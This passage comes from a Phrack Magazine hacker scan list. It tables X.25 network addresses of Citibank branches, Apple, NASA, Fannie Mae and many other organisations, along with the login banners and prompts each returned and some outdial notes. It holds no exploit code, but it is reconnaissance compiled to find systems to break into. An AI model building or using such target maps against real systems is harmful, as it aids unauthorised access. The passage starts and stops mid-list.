106 223 175 enter a for astra 223 176 VAX/VMS 223 178 NETWORK USER VALIDATION. 223 179 $ 223 183 Prime 223 184 Prime PRIMENET 23.2.0vB PROD-C 223 185 Citibank Hongkong 223 186 Citibank Hongking 223 187 $ DECserver 223 188 GS/1 CITITRUST/WIN Gateway! (Toll 25 cents) 223 189 $ DECserver 223 191 (need x.citipc terminal emulator) 223 193 Prime 223 194 VAX/VMS 223 199 $ 223 200 NETWORK USER VALIDATION. 223 201 C/C/M INT'L 3 ENTER YOUR ID : [ ] 223 202 C/C/M INT'L 4 ENTER YOUR ID : [ ] 223 204 C/C/M INT'L 6 ENTER YOUR ID : [ ] 223 208 C/C/M ENTER YOUR ID : [ ] 223 210 NETWORK USER VALIDATION. 223 211 CITI Master Policy Bulletin Board 223 212 "" 223 216 VAX/VMS *** Unauthorized Access Prohibited *** 223 217 223 218 223 222 Unix SysV Citibank PDC Registration System 223 223 CITIBANK SINGAPORE 223 223 Unix discovery login: 223 227 Prime PRIMENET 23.2.0.R43 BASCOS 223 234 VCP-1000 Terminal Server 223 256 VOS CITIBANK - NSO NEW YORK, NY 223 258 VOS CITIBANK - NSO NEW YORK, NY 223 259 VOS CITIBANK - NSO NEW YORK, NY 223 260 VAX/VMS Unauthorized Use Is Prohibited 223 503 ??? : 223 508 223 510 VOS Citibank Puerto Rico 223 512 VAX/VMS #6 Node: NYF050 223 513 CITI CASH MANAGEMENT NETWORK - 223 515 Prime PRIMENET 23.2.0.R43 BASCOS 223 519 Prime PRIMENET 23.2.0.R43 OBSPOM 223 520 $ CitiMail II 223 521 $ Major BBS User-ID? new 223 523 Prime PRIMENET 23.2.0.R43 LATPRI 223 524 $ GS/1 Cititrust (Cayman)'s WIN Gateway! 223 527 INVALID COMMAND SYNTAX 223 600 223 1000 CITI CASH MANAGEMENT NETWORK 223 1002 223 3002 NETWORK USER VALIDATION. 223 3003 ??? Welcome to Citiswitch, New York 223 3008 ??? "" 223 3011 Unix DG/UX Release 4.32. AViiON (gnccsvr) 223 3012 Unix DG/UX Release 4.32. AViiON (gnccsvr) 223 3020 Prime 223 3030 $ VAX/VMS 223 3031 * 223 3042A CITI Master Policy Bulletin Board 223 3044 223 3046 223 3048 $ DECserver 223 3052 Unix DG/UX Release 4.32. AViiON (parsvr) 223 3056 * 223 3060B TBBS Citicorp Futures Corp. 223 3064 $ 223 3066 223 3067 NETWORK USER VALIDATION. 223 3070 * 223 3074 NETWORK USER VALIDATION. 223 3075A Port Selec Systems: EQX/SUP,SECURID,TS,TS1,TS2,TS3,PBX 223 3077 223 3080A PERSONNEL SERVICES & TECHNOLOGY'S DATA PABX NETWORK. 223 3082 223 3083 ENQUIRE GSM User ID? 223 3086 VOS Citishare 223 3088 HP-3000 SYSTEMC.HP.CITIBANK 223 4700 * 223 8050 ILLEGAL SOURCE ADDRESS 0B 80 223 8052 223 8053 TYPE . 223 8056 ILLEGAL SOURCE ADDRESS 0B 80 223 8057 * 223 8058 ILLEGAL SOURCE ADDRESS 0B 80 223 8059 ILLEGAL SOURCE ADDRESS 0B 80 223 8100 Prime PRIMENET 23.1.0 LATRG1 223 8101 Prime PRIMENET 23.1.0 LATRG2 223 8201 223 8202 Enter password: 223 8602 Prime PRIMENET 23.2.0.R43 OBSPOM 223 8804 11 - FORMAT ERROR 223 10009 I/P LOGIN CODE 223 10010 I/P LOGIN CODE 223 10015 I/P LOGIN CODE 223 10030 UMP 15, TP (DEV A) > 223 10032 UMP 2, XGATE (NODE 6) 223 10050 I/P LOGIN CODE ----------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Two, File 9 of 14 224 - Citibank Scanneds: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 224 1 CITIBANK 224 2 VAX/VMS Global Report 224 4 Prime PRIMENET 23.2.0vB PROD-A 224 5 DECserver 224 6 CITIBANK CANADA-CB1 224 10 CITIBANK BRASIL 224 11 C/C/M 224 12 Prime PRIMENET 23.2.0vA OZPROD 224 14 C/C/M 224 16 CITIBANK FRANKFURT 224 17 DECserver 224 20 DECserver 224 21 224 22 224 23 CITIBANK N.A. BAHRAIN - BOOK SYSTEM 224 24 NETWORK USER VALIDATION. 224 26 224 27 CITIBANK JOHANNESBURG 224 30 CITIBANK PIRAEUS 224 31 ADAM_COSMOS 224 32 CITIBANK LONDON 224 33 CITIBANK PARIS 224 34 CITIBANK LONDON 224 35 DUBLIN_COSMOS 224 36 CITIBANK ATG - TEST8.2 224 37 224 38 CITIBANK LEWISHAM 224 39 CITIBANK MILAN 224 40 224 41 CITICORP/CITIBANK 224 42 CITICORP/CITIBANK 224 43 VIENNA_COSMOS 224 44 CITIBANK LONDON 224 45 NORDIC_COSMOS 224 46 NORDIC_COSMOS 224 47 Enter Secure Access ID -02-> 224 48 Prime CONNECTED TO 03 35-50 224 49 CITIBANK FRANKFURT 224 50 CITICORP/CITIBANK 224 51 CITICORP CASH MANAGEMENT SERVICES 224 53 JERSEY_COSMOS 224 55 SIGN-ON NAO ACEITO 224 56 DECserver 224 57 VAX/VMS 224 61 CITIBANK SYDNEY 224 62 CITIBANK SINGAPORE 224 63 CITIBANK MANILA 224 64 Prime 224 65 CITIBANK SINGAPORE 224 68 DECserver 224 70 London Branch Miniswitch 224 71 CCM - Citi Cash Manager 224 73 DECserver 224 74 CITI CASH MANAGEMENT NETWORK 224 75 IBI MIS Systems 224 76 224 78 CITIBANK HONG KONG 224 79 CITIBANK 224 80 VAX/VMS UNAUTHORIZED ACCESS to this SYSTEM is PROHIBITED 224 81 224 82 Prime PRIMENET 23.2.0vB PROD-C 224 83 IBM 3708 224 85 224 86 Prime PRIMENET 23.1.0 LATRG1 227 87 DECserver 224 89 Prime PRIMENET 23.1.0 LATRG1 224 91 Prime 224 92 VCP-1000 Terminal Server (decserver clone) 224 93 224 95 BMS==> 224 98 C/C/M 224 100 Cityswitch 224 104 BMS==> 224 105 224 108 224 110 224 113 Prime PRIMENET 23.1.0 LATRG2 224 122 VAX/VMS? Global Report from Citicorp 224 125 PLEASE ENTER TRANSACTION ID: 224 128 Prime PRIMENET 23.2.0.R43 LATPRI 224 129 224 130 VAX/VMS GLOBAL TREASURY PRODUCTS 224 132 Prime PRIMENET 23.2.0vB PROD-B 224 135 VAX/VMS CMAPD - SRPC Vax Development System 224 136 VAX/VMS #6Node: NYF050 224 137 HP-3000 224 138 224 139 VAX/VMS (restricted access system) 224 140 VAX/VMS "" 224 141 : 224 142 C/C/M 224 143 CITI CASH MANAGEMENT NETWORK 224 147 C/C/M 224 148 CITIBANK LONDON 224 149 LISBON_COSMOS 224 150 DEC Welcome to the DEC Gateway 224 153 CITI CASH MANAGEMENT NETWORK 224 155 Prime PRIMENET 23.2.0vB PROD-B 224 157 DecServer 224 158 224 159 CDS DATA PROCESSING SUPPORT 224 160 (pad?) 224 161 VAX/VMS 224 162 Prime 224 163 Prime 224 164 Prime PRIMENET 22.1.2 WINMIS 224 165 GS/1 LTN> 224 166 VAX/VMS GLOBAL TREASURY PRODUCTS 224 167 VAX/VMS GLOBAL TREASURY PRODUCTS 224 168 VAX/VMS Global Report from Citicorp 224 170 ELECTRONIC CHECK MANAGER ENTER 'ECM' 224 172 CitiMail II - Asia Pacific 224 174 PERSONNEL SERVICES & TECHNOLOGY'S DATA PABX NETWORK 224 175 Enter T or V for TSO or M for VM/CMS. 224 176 DECserver 224 177 VAX/VMS Unauthorized Use Is Prohibited 224 179 <> 224 180 Citibank N.A. PUERTO RICO 224 193 : 224 194 VOS CitiShare Milwaukee, Wisconsin 224 195 Citimail II 224 196 Xyplex X.25 Terminal Server 224 197 VAX/VMS 224 199 224 200 EMULEX TCP/LAT-Compatible Terminal Server 224 204 224 205 Prime 224 207 Communications Subsystem For Interconnection 224 210 VOS try "list_users" 224 211 Major-BBS User-ID: 224 212 Master Policy Bulletin Board 224 213 %%% 224 214 INDIQUE O TIPO DE TERMINAL 224 216 VAX/VMS *** Unauthorized Access Prohibited *** 224 217 Prime 224 218 DECserver 224 220 CHANNEL 01/049. ENTER CHOICE: 224 221 BUDAPEST_COSMOS (user 63) 224 222 224 223 CITIBANK SINGAPORE 224 227 224 230 224 234 VCP-1000 (decserver clone) 224 236 CITIBANK LEWISHAM 224 237 DECserver 224 300 $ CitiMail II 224 320 VAX/VMS 224 602 VOS list_users 224 700 $ CitiMail II (Asia Pacific) 224 701 Prime PRIMENET 23.2.0vB DEV-A 224 704 Prime PRIMENET 23.2.0vB PROD-C 224 3004 Enter destination : node.port or :SFA 224 3006 Enter destination : node.port or :SFA 224 3010 224 3013 London Branch Miniswitch 224 3014 CONNECTED TO CITIBANK LONDON 224 3016 BMS==> 224 3024 BMS==> 224 3027 Enter destination : node.port or :SFA 224 3032 CITIBANK LONDON 224 3035 EMULEX TCP/LAT-Compatible Terminal Server 224 3036 EMULEX TCP/LAT-Compatible Terminal Server 224 3037 $ Citimail II - C.M.E.A 224 3038 $ 224 3039 $ Citimvs X.25 Gateway 224 3043 VAX/VMS UNAUTHORIZED ACCESS to this SYSTEM is PROHIBITED 224 3047 Enter destination : node.port or :SFA 224 3058 * 224 3059 * 224 3103 CITIBANK PARIS 224 3116 CITICORP/CITIBANK 224 3117 VAX/VMS UNAUTHORIZED ACCESS TO THIS SYSTEM IS PROHIBITED 224 312 3 * 224 3124 CITIBANK MILAN 224 3127 CITIBANK MILAN 224 3128 * 224 3131 CITIBANK FRANKFURT 224 3133 CITIBANK FRANKFURT 224 3230 224 3231 224 3235 CITICORP/CITIBANK 224 3236 CITICORP/CITIBANK 224 4022 224 8006 Welcome to Citiswitch, HK 224 8008 VAX/VMS GTN gateway/Regional Billing/PCSA/CMG accpt 224 8010 224 8011 Unix INFOBASE2 login: 224 8014 Prime 224 8018 * 224 8022 * 224 8023 * 224 8026 224 8027 224 8030 224 8031 224 8033 224 8034 224 8035 224 8105 ENTER RESOURCE : 224 8106 Global Report from Citicorp 224 8122 CITIBANK TOKYO 224 8210 224 8211 CITIBANK MANILA 224 8410 CITIBANK SYDNEY 224 8412 CITIBANK SYDNEY 224 8414 PLEASE ENTER YOUR ID : -1-> 224 8415 EMULEX TCP/LAT-Compatible Terminal Server 224 8416 Prime 224 8509 CITIBANK HONGKONG 224 8620 224 8621 224 8622 224 8623 224 8624 224 8625 224 8626 224 8627 224 8629 224 8720 CITIBANK SINGAPORE 224 8722 * 224 8725 $ COSMOS 224 8730 DECserver 224 8731 CITIBANK SINGAPORE 224 9010 Prime 224 9011 VAX/VMS *** Authorized Personnel Only *** 224 9150 CITIBANK HONGKONG 277 - Apple Computer Inc. Scanned: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 277 125J VAX/VMS YODA *AUTHORIZED USERS ONLY* 277 127 VAX/VMS Apple Canada Inc. 277 128 VAX/VMS For internal use only. CHATTERBOX 277 130J VAX/VMS YODA *AUTHORIZED USERS ONLY* 277 133 ??? Apple Computer, Inc. X.25 PAD to IP/TCP/TELNET 301 - Maryland Scanned: [0 - 2000] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 301 20 MEDLINE 301 21 * 301 26 PRIME DNAMD1 Online 301 33 VOS United Communications Computer Services Group 301 35 User Access Verification Username: 301 37 MEDLINE 301 40 MEDLINE 301 56 U#= 301 46 * 301 54 VAX/VMS 5.2 301 56 U#= 301 77 * 301 78 * 301 100 VOS United Communications Computer Services Group 301 125 VAX/VMS 301 140 MEDLINE 301 150 $ VAX/VMS 301 165 * 301 170 VOS United Communications Computer Services Group 301 253 Prime Primecom Network 19.4Q.111 System 35 301 254 Prime Primecom Network 19.4Q.111 System 59 301 307 Prime ER! 301 310 Prime Primecom Network 19.4Q.106 System 51 301 320 Prime Primecom Network 19.4Q.111 System 53 301 330 Prime Primecom Network 19.4Q.111 System 30 301 331 Prime Primecom Network 19.4Q.111 System 31 301 332 Prime Primecom Network 19.4Q.111 System 32 301 333 Prime Primecom Network 19.4Q.111 System 33 301 335 Prime Primecom Network 19.4Q.111 System 35 301 336 VAX/VMS Welcome to VMS 4.6 301 341 Prime Primecom Network 19.4Q.111 System 41 301 342 Prime Primecom Network 19.4Q.111 System 42 301 343 Prime Primecom Network 19.4Q.111 System 43 301 344 Prime Primecom Network 19.4Q.111 System 44 301 345 Prime Primecom Network 19.4Q.111 System 45 301 346 Prime Primecom Network 19.4Q.111 System 46 301 351 Prime Primecom Network 19.4Q.111 System 95 301 352 Prime Primecom Network 19.4Q.111 System 52 301 353 Prime Primecom Network 19.4Q.111 System 53 301 356 Prime Primecom Network 18.4Y System 56 301 357 Prime Primecom Network 19.4Q.111 System 57 301 358 Prime Primecom Network 19.4Q.111 System 58 301 361 Prime Primecom Network 19.4Q.111 System 31 301 364 Prime Primecom Network 19.4Q.111 System 64 301 390 Prime Primecom Network 19.4Q.111 System 90 301 391 Prime Primecom Network 19.4Q.111 System 91 301 392 Prime Primecom Network 19.4Q.111 System 92 301 393 Prime Primecom Network 19.4Q.111 System 93 301 394 Prime Primecom Network 19.4Q.111 System 30 301 395 Prime Primecom Network 19.4Q.111 System 95 301 396 Prime Primecom Network 19.4Q.111 System 96 301 397 Prime Primecom Network 19.4Q.111 System 97 301 398 Prime Primecom Network 19.4Q.111 System 98 301 441 * 301 442 * 301 443 * 301 444 * 301 447 * 301 448 * 301 449 * 301 450 * 301 455 Unix SysV oldabacis login: (uucp) 301 521 $ NETX A000VD03 READY FOR LOGON 301 530 PLEASE ENTER LOGIN 301 535A 301 546 * 301 548 301 558 * 301 559 * 301 560 * 301 563 $ VM/CMS? INVALID-SW-CHARS 301 565 Unix E.T.Net/The National Library of Medicine. 301 1130 301 1131 301 1134 * 301 1136 * 301 1139 8001A69E 301 1142 9769AFC6 301 1153 * 301 1230 You are not authorized to connect to this machine. 301 1241 Fannie Mae 301 1243 USER ID 301 1244 * 301 1245 * 301 1253 * 301 1551 * 301 2040 * 301 2042 * 302 - Delaware Scanned: 0 - 300 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 302 41 $ (running same/similar software as tymnet) 303 - Colorado Scanned: 0 - 1000 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 303 21 $ outdial (303) 303 33 Password > 303 47 * 303 114 $ outdial (303) 303 115 $ outdial (303) 303 120 Prime PRIMENET 22.1.3.R35 SAMSON 303 140 X29 Password: 303 141 * 303 142 * 303 242 $ VAX/VMS AZTEK Engineering MicroVAX (AZTKD1) 303 268 * 303 330 * 303 333 * 303 338 * 303 561 Prime PRIMENET 22.1.1.R11 SPARKY 303 579 Prime PRIMENET 22.1.3.R35 CAESAR 303 800 * 304 - West Virginia Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 304 101 ENTER: ASV2, ASV3 OR MPL780 304 130 ENTER: ASV2, ASV3 OR MPL780 305 - Florida Scanned: 0 - 2000 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 305 4 USER ID 305 34 USER ID 305 59 .INVALID COMMAND 305 105 $ outdial (305) 305 106 $ outdial (305) 305 120 $ outdial (305) 305 121 $ outdial (305) 305 122 $ outdial (305) 305 135 * 305 140 .INVALID COMMAND 305 141 Select Desired System: 305 142 USER ID 305 145 USER ID 305 149 hp-x000 S901.NET.BUC 305 150 * 305 156 USER ID 305 162 WN01000000000000000000000000000 305 170 * 305 171 VM/CMS? ENTER SWITCH CHARACTERS 305 172 WN01000000000000000000000000000 305 175 USER ID 305 177 WN01000000000000000000000000000 305 178 hp-x000 S901.NET.BUC 305 237 Comcast Information Services 305 241 WN01000000000000000000000000000 305 245 * 305 247 305 250 Unix 305 339 CONNECTED TO PACKET/74 305 347 CONNECTED TO PACKET/74 305 362 CLARIONET Userid : new 305 363 CLARIONET 305 364 CLARIONET 305 365 CLARIONET 305 366 CLARIONET 305 370 $ 305 371 VAX/VMS Usuario : 305 372 $ VAX/VMS ORL001 305 471 305 472 $ HP-3000 MIA.MIA.EI 305 700 305 1036 CONNECTED TO PACKET/74 305 1037 CONNECTED TO PACKET/74 305 1043 Unix 305 1040 USER ID 305 1242 AOS 305 1243 * 305 1244 Prime PRIMENET 22.1.3 DZ-MIA 309 - Illinois Scanned: [0 - 200] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 309 30 * 312 - Illinois Scanned: [0 - 1500] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 312 34 YOUR ENTRY IS INCORRECT. 312 35 $ TSO 312 37 * 312 40 312 41 YOUR ENTRY IS INCORRECT. 312 45 YOUR ENTRY IS INCORRECT. 312 53 TSO COMMAND UNRECOGNIZED 312 54 TSO 312 59 Id Please: 312 64 $ Purdue Annex (*.cc.purdue.edu) 312 65 $ MSG 1: COMMAND INVALID FROM PHTIB010 312 74 * 312 75 * 312 77 $ USER ID 312 78 $ USER ID 312 121 enter system id -- 312 125 * 312 131 VM/CMS SYSTEMV 312 150 PLEASE ENTER SUBSCRIBERID;PASSWORD 312 159 PLEASE ENTER SUBSCRIBERID;PASSWORD 312 160 USERID: 312 170 $ VAX/VMS This is SKMIC4 - Authorized use only 312 233 USERID: 312 235 312 240 * 312 245 * 312 253 * 312 254 * 312 256 PLEASE LOGIN 312 257 * 312 258 ID: 312 269 CUSTOMER ID: 312 270 CUSTOMER ID: 312 271 CUSTOMER ID: 312 350 * 312 351 TSO 312 354 * 312 378 BAXTER ASAP SYSTEM (LINE EG75) 312 379 TSO 312 398 $ MHP201A ITVI0180 * VERSION 6.0.2 *. 312 400 BAXTER ASAP SYSTEM (LINE EGC7) 312 401 BAXTER ASAP SYSTEM (LINE EG4D) 312 402 BAXTER ASAP SYSTEM (LINE EGC5) 312 403 TSO 312 405 TSO 312 410 $ outdial (312) 312 411 $ outdial (312) 312 451 TSO 312 452 BAXTER ASAP SYSTEM (LINE EGED) 312 475 * 312 476 * 312 477 $ USER ID 312 520 Unix R59X01 login: 312 521 Unix R58X01 login: 312 522 Unix R67X01 login: 312 524 Unix R51X01 login: 312 525 Unix R41X01 login: 312 526 PASSWORD 312 528 PASSWORD 312 530 * 312 531 * 312 532 $ VAX/VMS 312 533 * 312 534 $ (echo) 312 535 $ (echo) 312 536 $ (echo) 312 537 $ (echo) 312 538 $ (echo) 312 585 * 312 587 * 312 588 * 312 589 * 312 655 TSO 312 740 TELENET ASYNC TO 3270 SERVICE 312 762 * 312 763 * 312 764 * 312 765 * 312 766 * 312 767 * 312 768 * 312 769 * 312 770 $ TELENET ASYNC TO 3270 SERVICE 312 772 $ TELENET ASYNC TO 3270 SERVICE AB-NET 312 1130 Unix R52X01 login: 312 1131 Unix R61X01 login: 312 1132 Unix R63X01 login: 312 1133 Unix R40X01 login: 312 1134 Unix R43X01 login: 312 1135 Unix R46X01 login: 312 1139 Unix R65X01 login: 312 1140 Unix R54X01 login: 312 1141 Unix R71X01 login: 312 1142 Unix R56X01 login: 312 1143 Unix R55X01 login: 312 1144 Unix R48X01 login: 312 1150 Unix R47X01 login: 312 1151 Unix R62X01 login: 312 1152 Unix R45X01 login: 312 1153 Unix R42X01 login: 312 1154 Unix R74X01 login: 312 1155 Unix R60X01 login: 312 1177 * 312 1179 * 312 1232 REQUEST IN VIOLATION OF SYSTEM SECURITY STANDARDS 312 1233 REQUEST IN VIOLATION OF SYSTEM SECURITY STANDARDS 312 1250 YOUR ENTRY IS INCORRECT. 312 1251 YOUR ENTRY IS INCORRECT. 312 1258 Prime PRIMENET 23.2.0.r26 HS6650 312 1259 ENTER ID (Westlaw) 312 1270 * 312 1271 * 312 1272 * 312 1275 * 312 1301 MHP201A A00B1001 * VERSION 5.5.3 *. 312 1302 MHP201A A00B1101 * VERSION 5.5.3 *. 312 1303 MHP201A A00B1101 * VERSION 5.5.3 *. 312 1304 MHP201A A00B1101 * VERSION 5.5.3 *. 312 1305 MHP201A A00B1101 * VERSION 5.5.3 *. 312 1306 MHP201A A00B1101 * VERSION 5.5.3 *. 312 1307 MHP201A A00B1101 * VERSION 5.5.3 *. 312 1308 MHP201A A00B1101 * VERSION 5.5.3 *. 312 1309 MHP201A A00B1101 * VERSION 5.5.3 *. 312 1310 MHP201A A00B1101 * VERSION 5.5.3 *. 312 1311 MHP201A A00B1101 * VERSION 5.5.3 *. 312 1340 * 312 1341 ENTER ID (Westlaw) 312 1534 * 312 1535 * 313 - Michigan Scanned: [0 - 2000] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 313 24 $ outdial (313) 313 40 Autonet Line 3130095084 313 41 Autonet Line 3130095084 313 62 Merit:X.25 Gateway 313 75 * 313 82 Enter "CMS userid", "TSO userid ", "SIMVTAM termid" 312 219 enter system id -- 313 101 $ outdial (313) 313 111 $ outdial (313) 313 140 $ USER ID 313 144 $ DTC DTCHQ02.WD.WD 313 145 Please enter your Access Code ? 313 146 Please enter your Access Code ? 313 148 PLEASE ENTER SUBSCRIBERID;PASSWORD 313 152 Unix/SunOS SPRINT.COM SunLink X.29 service 313 153 MHP1201I TERMINAL CONNECTED TO PACKET/74 313 160 PASSWORD (this will hang you up) 313 164 VU/TEXT 313 165 * 313 171 U#= 313 173 VAX/VMS IPP VAX/VMS V5.4-3 SYSTEM VIP012 313 202 Merit:X.25 Gateway 313 214 $ outdial (313) 313 216 $ outdial (313) 313 239 Unix Valenite 313 250 HP-3000 313 330 $ Unix Domino's Pizza Distribution Corp 313 350 * 313 351 * 313 352 * 313 353 * 313 354 * 313 355 * 313 365 Unix/SunOS This is our latest and greatest X.29 service 313 705 OS4000 5.5 Logging in user 313 800 Prime PRIMENET 22.1.4.R39v D1D2 313 1020 USER ID 313 1021 USER ID 313 1032 * 313 1162 Unix R44X01 login: 313 1163 Unix R69X01 login: 313 1164 Unix R50X01 login: 313 1165 Unix R57X01 login: 313 1166 Unix R64X01 login: 313 1167 Unix R66X01 login: 313 1169 Unix R70X01 login: 313 1170 Unix R73X01 login: 313 1171 Unix R75X01 login: 313 1172 Unix R72X01 login: 313 1174 Unix R77X01 login: 313 1175 Unix/SysV (jupiter) 313 1176 Unix aries login: 313 1177 Unix hermes login: 314 - Missouri Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 314 139 * 314 143 $ ??? Please log in (or type "/DOC/DEMO"). 314 260 315 - New York Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 315 20 (echo) 315 32 $ COMMAND UNRECOGNIZED 315 50 $ SIM3278 315 135 (echo) 315 136 (echo) 315 137 $ GTE CAMILLUS NY 315 138 CONNECTED TO PACKET/94 315 145 VAX/VMS Username: 315 149 $ GTE CAMILLUS NY 315 150 GTE CAMILLUS NY 315 151 GTE CAMILLUS NY 315 152 (echo) 315 162 CONNECTED TO PACKET/400 315 172 * 315 231 317 - Indiana Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 317 55 $ outdial (317) 317 113 $ outdial (317) 317 114 $ outdial (317) 317 127 VTAM/M02 317 134 $ Prime PRIMENET 22.0.4.R8 PENTEK 317 136 * 317 140 VAX/VMS 317 142 * 317 143 $ (hangs up) 317 145 Prime PRIMENET 22.1.3 ARVN01 317 148 USER ID 317 154 VAX/VMS 317 157 * 317 159 * 317 164 $ (hangs up) 317 174 317 235 $ CONNECTED TO PACKET/74 317 251 CONNECTED TO PACKET/400 317 253 * 317 255 317 260 Unix SIL_CHI 317 299 ASYNC to whatever -- (try logical unit=9) 317 335 VAX/VMS 317 336 * 321 - SPAN/NASA Scanned: [N/A] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 321 Note: Access to SPAN now passes through a network validation gateway. I was unable to get passed this, and unable to scan this prefix. Here is the friendly message you get on attempts: Entering the NASA Packet Switching System (NPSS) Please Report Service Access Problems To (205) 544-1771 USERID> PASSWORD> SERVICE> 401 - Rhode Island Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 401 50 * 401 230 * 402 - Nebraska Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 402 47 402 57 Unix NCR 386/486 System name: tower12 402 131 * 402 231 * 404 - Georgia Scanned: [0-700] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 404 55 * 404 57 404 59 404 70 404 77 404 79 404 143 404 171 404 235.1 Port Selec The Journal Of Commerce 404 235.2 VAX/VMS Nedlloyd Lines Region Management North America 404 244 404 247 404 250.1 CUSTOMER ID: 404 250.2 (garbage) 404 251.1 CUSTOMER ID: 404 252.1 CUSTOMER ID: 404 262.2 TACL 1> 404 263.2 TACL 1> 404 264.2 TACL 1> 404 265.2 TACL 1> 404 266.2 TACL 1> 404 349 Prime PRIMENET 22.1.3 EHPATL 404 358 404 359 404 372 VOS 404 373 VOS 404 374 * 404 560 VAX/VMS 404 633 VAX/VMS 404 635 VAX/VMS 405 - Oklahoma Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 405 45 ENTER SESSION ESTABLISHMENT REQUEST : 405 46 TACL 1> 405 130 * 405 242 VAX/VMS 405 245 * 405 246 405 248 * 405 249 * 408 - California Scanned: [0 - 1500] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 408 21 $ outdial (408) 408 31 * 408 45 $ HP-3000 SPECTRA-PHYSICS LASERS 408 49 * 408 61 408 77 $ USER ID 408 110 $ outdial (408) 408 111 $ outdial (408) 408 121 HP-3000 SAGAN.HP.COM 408 127 Unix 408 133 $ (echo) 408 159 $ VAX/VMS 408 177 * 408 235 AOS GLOBAL WEATHER MV3 408 238 Unix 408 260 * 408 261 * 408 264 Portal Communications Company. NEW/INFO/HELP 408 267 * 408 268 * 408 271 408 273 408 335 VAX/VMS CONNECTING TO NODE: LTCTST 408 342 $ Unix/SunOS (OSI) 408 343 $ VTAM Amdahl Corporate Computer Network 408 344 $ VAX/VMS ANDO running VMS V5.4-2 408 346 Unix IGC Networks login:new password: 408 352 $ VTAM Amdahl Corporate Computer Network 408 356 * 408 357 * 408 378 Unix X.25 PAD (pad echo) 408 450 Unix HP-UX moe 408 444 $ HP-3000 Finnigan Corporation 408 445 $ VAX/VMS GEC PLESSEY Semiconductors 408 449 VAX/VMS Friden Neopost (Node: PRDSYS) 408 450 Unix HP-UX moe 408 456 * 408 530 * 408 531 * 408 532 * 408 534 $ DTC DTC02.DOMAIN.ORGANIZATION 408 539 User Access Verification Password: 408 1050 408 1046 * 408 1050 408 1051 408 1052 408 1053 408 1054 Port Selec First Image 408 1055 408 1060 $ REQUESTED APPLICATION NOT DEFINED 408 1061 $ REQUESTED APPLICATION NOT DEFINED 408 1062 $ REQUESTED APPLICATION NOT DEFINED 408 1063 $ REQUESTED APPLICATION NOT DEFINED 408 1064 $ REQUESTED APPLICATION NOT DEFINED 408 1065 $ REQUESTED APPLICATION NOT DEFINED 408 1066 $ REQUESTED APPLICATION NOT DEFINED 408 1067 $ REQUESTED APPLICATION NOT DEFINED 408 1068 $ REQUESTED APPLICATION NOT DEFINED 408 1069 $ REQUESTED APPLICATION NOT DEFINED 408 1071 $ (echo) 408 1072 $ (echo) 408 1076 $ (echo) 408 1230 $ (echo) 408 1231 $ (echo) 408 1234 $ (echo) 408 1235 $ (echo) 408 1238 * 408 1240 $ (hangs up) 408 1350 VAX/VMS 410 - RCA? MCI? Scanned: [0-300+] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 410 0 MCI YR ID? 412 - Pennsylvania Scanned: [0 - 1000] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 412 30 USER ID 412 33 VAX/VMS Lender's Service, Inc. Computer System 412 34 $ ACF/VTAM Lord Corp IBM Network 412 51 *** ENTER LOGON 412 52 *** ENTER LOGON 412 55 COMMAND UNRECOGNIZED 412 60 PC2LAN Connected to Router Pit 412 61 %@CVTTAUD@dUYECVGUIiED 412 63 %@CVTTAUD@dUYECVGUIiED 412 67 SIM3278 Mellon Bank 412 70 * 412 78 # 412 79 # 412 130 412 153 *** ENTER LOGON 412 201 $ outdial (412) 412 202 $ outdial (412) 412 230 VAX/VMS You are connected to a private system. 412 231 $ Prime PRIMENET 22.1.3.r13 MECO 412 335 * 412 336 Renex Connect, SN-00300371 412 340 SIM3278 Mellon Bank 412 342 COMMAND UNRECOGNIZED FOR T11310T0 412 349 *** ENTER LOGON 412 352 *** ENTER LOGON 412 440 Unix/SysV X.29 Terminal Service (dxi-m1) 412 708 Unix/SysV X.29 Terminal Service (dxi-m1) 414 - Wisconsin Scanned: [0 - 300] ADDRESS OS/SYSTEM 